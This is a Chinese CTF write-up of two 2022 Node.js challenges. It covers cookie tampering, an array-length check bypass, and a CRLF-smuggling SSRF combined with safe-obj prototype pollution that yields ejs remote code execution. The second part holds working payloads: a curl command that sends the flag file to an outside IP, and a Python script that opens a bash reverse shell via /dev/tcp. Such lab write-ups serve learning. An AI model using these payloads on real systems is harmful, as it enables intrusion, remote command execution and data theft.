[西湖论剑 2022]Node Magical Login
环境!启动!(ノへ ̄、)
这么一看好像弱口令啊,(不过西湖论剑题目怎么会这么简单,当时真的傻),那就bp抓包试一下(这里就不展示了,因为是展示自己思路,这里就写了一下当时的NC思路,其实是不对的┭┮﹏┭┮)
不是BP弱口令?那好吧,我们先看一下源码,比赛的时候是给了源码的NSS复现上是没有的,这里我把源码放在这里,或者可以去我主页GITHUB上下载“源码”
单独建立一个工程看一下
大概扒拉了一下,main.js,controller.js,login.css............(+.+)(-.-)(_ _) ..zzZZ,最终发现!应该是“controller.js”这里有关于flag的内容!
我把源码放在下边o.O?
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}
很好理解先来第一段:
Flag1:
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
这代码从上向下看就是username !== "admin"也就是让他等于admin,相当于屏蔽了这个,好解决BP启动!
抓到包以后直接改cookie就好了(・-・*),还有因为是访问请求,所以,GET一下flag1
Cookie:user=admin
GET /flag1 HTTP/1.1
得到:
好耶!我们得到了一半的flag!(*^▽^*)
NSSCTF{0a8c2d78-ee0e
那就接着看代码,找Flag2:
Flag2:
看了可以知道,访问 / 路由时,要满足密码为 Math.random().toString()的 随机数,因此cookie设为SECRET_COOKIE。
那么我们再看一下flag2 的相关代码:
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
这段代码其实很好理解,要上传一段长度为16位的码,同时要让checkcode不等于“aGr5AtSp55dRacer”还有就是因为有”toLowerCase“会把字符小写所以考虑用node的相关漏洞,具体讲解有大神讲过了,意思是node有个遗传性,比如:
oi1=1
oi2//不赋值
这个时候我们调用oi1那就会把io2也是1
这个不仅是赋值,同样还有Function也继承,类似于php继承性,这是讲解视频:Node.js原型链污染
那么我们继续开始赋值,因为他让不等于而且会被默认小写,可以考虑数组:
两种写法:
{"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
{"checkcode":["a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"]}
其实是一样的都是凑够"16"位带入进去,还有就是因为是json形式的文件所以改一下json上传(好烦的要求┏┛墓┗┓...(((m -__-)m),还要记得访问flag2:
POST /getflag2 HTTP/1.1//这个是头
Content-Type:application/json//这个是文件形式
两种写的格式截图放这里:
效果一致得到Flag2(lll¬ω¬)
-43a7-9d6e-fba3cc3240ab}
最终为:
NSSCTF{0a8c2d78-ee0e-43a7-9d6e-fba3cc3240ab}
结束<(^-^)>
[西湖论剑 2022]real_ez_node
让我先把环境拉起来!这题是有源码包的,我放到了自己的Github上了,可以去下载一下“启动链接!”
思路确认环节
ejs?等会这题叫node是吧,突然想到之前群里的师傅在谈论的node漏洞,这题这么新颖么?先看一下源码吧O.o,F12看一眼,果然没有东西,那打开Kali扫一下,啊也没有耶,那种只能看看源码了(这里是边写边做的,也算是帮很多人排除错误选项)
VSCODE打开看一眼源码:
这里不是很清楚为什么在NSS上的源码包这么多东西,我去其实仔细审计以后(我是真的把每一个文件夹都看了一遍,脑子要吐了T-T),找到了routes里边的index.js以及docker\docker\web1\files中的start.sh
那么首先锁定了flag的位置:flag位置在根目录下/flag.txt
接着开始快e乐xin的审计代码:……]((o_ _)'彡☆
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;v
大概看了下代码首先,这题叫做node那么大概率就是原型链污染了,粗略看代码又有safeobj.expand()
,safeobj.expand()
这一块类明显的在user中的污染链函数,又有打算开环境以后的ejs提示,那问题锁定,就是ejs模板引擎污染。
好的,主席说过“治理污染要治本,绿水青山.........”那就开始找源头!ヽ( ̄︿ ̄ )—C
1.首先在代码18行到25行看到了两个东西:要求我们从本地(127.0.0.1)访问,过滤了__proto__
。
2.再往下看一看,发现有SSRF的节点可利用:
这样看我就有思路了!ε=ε=ε=(~ ̄▽ ̄)~
先通过路由利用CRLF还有它给我ban 了的本地连接身份向/copy发一个POST请求,再去解决污染!说干就淦
调试payload环节
ejs污染原型链
既然是___proto___这种原型链污染那我们用模板就可以了。借用“jay17”大大的博客内容,对___proto___使用constructor.prototype绕过
(实例对象)foo.__proto__ == (类)Foo.prototype
ejs原型链污染的payload模板是这样的!d=====( ̄▽ ̄*)b
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
仔细看代码,let user={};,user的上一层就是Object,考虑只有一次污染,那么就只有一个___proto___
payload如下:
{
"__proto__":{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
}
}
safeobj里的expand方法, 直接递归按照 “.”做分隔写入 obj,可以原型链污染。传入{“a.b”:“123”}会进行赋值a.b=123
{
"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}
最终完善一下代码:
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},
CRLF
这里我想了好多种讲解方法,最终觉得我讲理论会有点难理解,有兴趣的师傅们可以去刚才我附赠的jay-17大大那个博客翻找一下,我直接给构成的脚本,生成就好了✧(≖ ◡ ≖✿)
原始脚本:
payload = ''' HTTP/1.1
[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
print(payload)
题目所需脚本:
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175
{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl //地址// /`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27')
print(payload)
注意下哦,这里为什么填175,POST数据长度173,但是POST还包含了两个\n会被替换为\r\n,总长度要加2( *︾▽︾)
生成paylaod后发包:
/curl?q=生成的payload URL编码
附赠一个一把梭的代码:
import requests
import urllib.parse
payloads = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 174
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps-ip/port/*/IP地址/* 0>&1\\"');var __tmp2"}
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret
payloads = payload_encode(payloads)
print(payloads)
r = requests.get('//题目代码/curl?q=' + urllib.parse.quote(payloads))
print(r.text)